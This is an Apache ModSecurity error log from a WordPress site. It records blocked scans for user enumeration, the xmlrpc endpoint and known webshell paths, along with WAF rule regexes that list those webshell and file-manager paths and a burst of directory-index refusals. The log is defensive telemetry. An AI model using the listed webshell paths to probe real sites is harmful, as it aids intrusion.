[Mon Dec 15 18:49:42.574518 2025] [:error] [pid 31374:tid 31441] [client 104.199.63.180:57918] [client 104.199.63.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.199.63.180, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_nxpzSh8b7uk6RWiEzugAAAEk"]
[Mon Dec 15 18:49:45.812639 2025] [:error] [pid 31374:tid 31438] [client 104.199.63.180:57918] [client 104.199.63.180] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT_nyZzSh8b7uk6RWiEzvQAAAEY"]
[Mon Dec 15 18:49:48.163042 2025] [:error] [pid 31374:tid 31449] [client 104.199.63.180:57918] [client 104.199.63.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.199.63.180, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aT_nzJzSh8b7uk6RWiEzwQAAAFE"]
[Mon Dec 15 21:03:41.753745 2025] [:error] [pid 31373:tid 31422] [client 106.54.62.156:50674] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUAHLXFdnrU7ASwItVLsNAAAANE"]
[Mon Dec 15 22:48:25.924600 2025] [:error] [pid 31373:tid 31409] [client 34.168.8.133:64571] [client 34.168.8.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.168.8.133, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUAfuXFdnrU7ASwItVIYxAAAAMQ"]
[Mon Dec 15 22:48:29.093518 2025] [:error] [pid 31373:tid 31411] [client 34.168.8.133:64571] [client 34.168.8.133] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUAfvXFdnrU7ASwItVIYzAAAAMY"]
[Mon Dec 15 22:48:31.349042 2025] [:error] [pid 31373:tid 31407] [client 34.168.8.133:64571] [client 34.168.8.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.168.8.133, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUAfv3FdnrU7ASwItVIY1gAAAMI"]
[Tue Dec 16 00:35:35.642256 2025] [:error] [pid 34495:tid 34510] [client 94.23.209.194:45292] [client 94.23.209.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.23.209.194, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUA412ZCUf_mSR4srxto2AAAAU0"]
[Tue Dec 16 00:45:22.286256 2025] [:error] [pid 34495:tid 34511] [client 136.117.200.184:57903] [client 136.117.200.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.200.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUA7ImZCUf_mSR4srxtt0gAAAU4"]
[Tue Dec 16 00:45:26.328499 2025] [:error] [pid 34495:tid 34503] [client 136.117.200.184:57903] [client 136.117.200.184] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUA7JmZCUf_mSR4srxtt1wAAAUY"]
[Tue Dec 16 00:45:28.627466 2025] [:error] [pid 34495:tid 34499] [client 136.117.200.184:57903] [client 136.117.200.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.200.184, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUA7KGZCUf_mSR4srxtt3AAAAUI"]
[Tue Dec 16 00:47:10.951637 2025] [:error] [pid 34410:tid 34455] [client 104.196.3.175:50828] [client 104.196.3.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.3.175, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUA7jsWDXTJsXAHPFUmZ4wAAAE4"]
[Tue Dec 16 00:47:14.082531 2025] [:error] [pid 34410:tid 34459] [client 104.196.3.175:50828] [client 104.196.3.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUA7ksWDXTJsXAHPFUmZ8AAAAFI"]
[Tue Dec 16 00:47:16.712981 2025] [:error] [pid 34410:tid 34445] [client 104.196.3.175:50828] [client 104.196.3.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.196.3.175, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUA7lMWDXTJsXAHPFUmZ_QAAAEQ"]
[Tue Dec 16 00:54:36.293712 2025] [:error] [pid 31566:tid 31592] [client 34.16.104.245:64339] [client 34.16.104.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.16.104.245, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUA9TPp1NDLK4uehYB9UbwAAAJY"]
[Tue Dec 16 00:54:39.504221 2025] [:error] [pid 31566:tid 31587] [client 34.16.104.245:64339] [client 34.16.104.245] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUA9T_p1NDLK4uehYB9UdQAAAJE"]
[Tue Dec 16 00:54:41.922204 2025] [:error] [pid 31566:tid 31576] [client 34.16.104.245:64339] [client 34.16.104.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.16.104.245, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUA9Ufp1NDLK4uehYB9UewAAAIY"]
[Tue Dec 16 01:25:01.292380 2025] [:error] [pid 34410:tid 34461] [client 136.112.44.23:63893] [client 136.112.44.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.44.23, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUBEbcWDXTJsXAHPFUmpRgAAAFQ"]
[Tue Dec 16 01:25:04.333351 2025] [:error] [pid 34410:tid 34449] [client 136.112.44.23:63893] [client 136.112.44.23] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUBEcMWDXTJsXAHPFUmpSwAAAEg"]
[Tue Dec 16 01:25:07.095701 2025] [:error] [pid 34410:tid 34446] [client 136.112.44.23:63893] [client 136.112.44.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.112.44.23, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUBEc8WDXTJsXAHPFUmpTgAAAEU"]
[Tue Dec 16 04:12:31.277709 2025] [:error] [pid 65266:tid 65285] [client 45.154.138.45:34613] [client 45.154.138.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUBrr5sak9sxBtEyU3QfkgAAAA4"]
[Tue Dec 16 04:12:40.635834 2025] [:error] [pid 65266:tid 65293] [client 45.154.138.40:41639] [client 45.154.138.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUBruJsak9sxBtEyU3Qf7QAAABY"]
[Tue Dec 16 04:12:44.455688 2025] [:error] [pid 65267:tid 65306] [client 45.154.138.45:25183] [client 45.154.138.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aUBrvGrHTzAzdGldlZPvYwAAAEg"]
[Tue Dec 16 04:12:57.978748 2025] [:error] [pid 65358:tid 65376] [client 45.154.138.43:52869] [client 45.154.138.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUBryc2hTNWkjSAZ7l2UbwAAAMk"]
[Tue Dec 16 04:13:11.194713 2025] [:error] [pid 65358:tid 65384] [client 45.154.138.36:41717] [client 45.154.138.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUBr182hTNWkjSAZ7l2U1wAAANE"]
[Tue Dec 16 04:13:21.997207 2025] [autoindex:error] [pid 65266:tid 65285] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:22.762770 2025] [autoindex:error] [pid 65266:tid 65295] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:23.156982 2025] [autoindex:error] [pid 65266:tid 65281] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:23.610304 2025] [autoindex:error] [pid 65266:tid 65280] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:28.643472 2025] [autoindex:error] [pid 65266:tid 65276] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:29.473844 2025] [autoindex:error] [pid 65266:tid 65291] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:29.905708 2025] [autoindex:error] [pid 65266:tid 65285] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:30.286541 2025] [autoindex:error] [pid 65266:tid 65287] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:30.745105 2025] [autoindex:error] [pid 65266:tid 65286] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:31.638475 2025] [autoindex:error] [pid 65266:tid 65284] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:35.077662 2025] [autoindex:error] [pid 65266:tid 65282] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:40.200890 2025] [autoindex:error] [pid 65266:tid 65274] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:40.999919 2025] [autoindex:error] [pid 65266:tid 65283] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:41.381507 2025] [autoindex:error] [pid 65266:tid 65271] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:46.143229 2025] [autoindex:error] [pid 65266:tid 65272] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:48.687643 2025] [autoindex:error] [pid 65266:tid 65286] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:53.303664 2025] [autoindex:error] [pid 65266:tid 65275] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:53.689140 2025] [autoindex:error] [pid 65266:tid 65276] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:13:54.120420 2025] [autoindex:error] [pid 65266:tid 65293] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:14:09.666112 2025] [autoindex:error] [pid 65266:tid 65285] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:14:12.783162 2025] [autoindex:error] [pid 65266:tid 65272] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:14:13.170624 2025] [autoindex:error] [pid 65266:tid 65283] [client 45.154.138.34:23093] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:14:19.871649 2025] [autoindex:error] [pid 65266:tid 65287] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:14:20.886354 2025] [autoindex:error] [pid 65266:tid 65283] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:14:21.260260 2025] [autoindex:error] [pid 65266:tid 65276] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:29.688630 2025] [autoindex:error] [pid 65266:tid 65288] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:30.098901 2025] [autoindex:error] [pid 65266:tid 65273] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:30.519764 2025] [autoindex:error] [pid 65266:tid 65290] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Dec 16 04:15:31.034189 2025] [autoindex:error] [pid 65266:tid 65272] [client 45.154.138.16:53063] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
